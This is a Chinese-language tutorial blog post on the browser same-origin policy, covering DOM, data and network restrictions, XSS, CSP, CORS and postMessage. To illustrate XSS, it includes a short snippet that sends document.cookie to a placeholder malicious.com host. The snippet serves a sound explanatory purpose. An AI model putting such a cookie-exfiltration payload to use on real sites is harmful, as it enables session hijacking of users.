同源策略:不能跨域请求资源

842 阅读6分钟

一起养成写作习惯!这是我参与「掘金日新计划 · 4 月更文挑战」的第26天,点击查看活动详情

浏览器安全可以分为三大块 —— Web 页面安全浏览器网络安全浏览器系统安全

先来做个假设,如果页面中没有安全策略的话,Web 世界会是什么样子的呢?

Web 世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频/视频等资源,甚至可以下载其他站点的可执行文件。

比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:

  • 修改银行站点的 DOM、CSSOM 等信息;
  • 在银行站点内部插入 JavaScript 脚本;
  • 劫持用户登录的用户名和密码;
  • 读取银行站点的 Cookie、IndexDB 等数据;
  • 甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。

所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全。这就引出了页面中最基础、最核心的安全策略:同源策略(Same-origin policy)

什么是同源策略

如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。

浏览器默认两个相同的源之间是**可以相互访问资源和操作 DOM 的**。

两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。具体来讲,同源策略主要表现在DOM、Web 数据和网络这三个层面。

DOM 层面

同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。

比如打开掘金的官网,然后从官网上打开另一个页面,这两个页面是同源的,所以我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:

let pdom = opener.document
pdom.body.style.display = "none"

该代码中,对象 opener 就是指向第一个页面的 window 对象,我们可以通过操作 opener 来控制第一个页面中的 DOM。不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作 DOM 了。

数据层面

同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。

网络层面 默认情况下,跨域请求是不被允许的。浏览器会报错:

Access to XMLHttpRequest at 'https://time.geekbang.org/' from origin 'https://www.geekbang.org' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性。

页面中可以嵌入第三方资源

Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个"口子",让其任意引用外部文件。

这回带来很多问题,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。

比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码: image.png

当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。

除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:

function onClick(){
  let url = `http://malicious.com?cookie = ${document.cookie}`
  open(url)
}
onClick()

以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。

我们在服务器端通过content-security-policy进行设置,下图表示html文件只能运行通过http或者https加载的脚本,本地脚本不会被执行。 image.png

还可以指定只能加载执行本域名下的脚本,或者特定域名下的脚本:

image.png

跨域资源共享和跨文档消息机制

默认情况下,如果打开掘金的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。为了解决这个问题,我们引入了跨域资源共享(CORS)使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。可以参考浏览器同源政策及其规避方法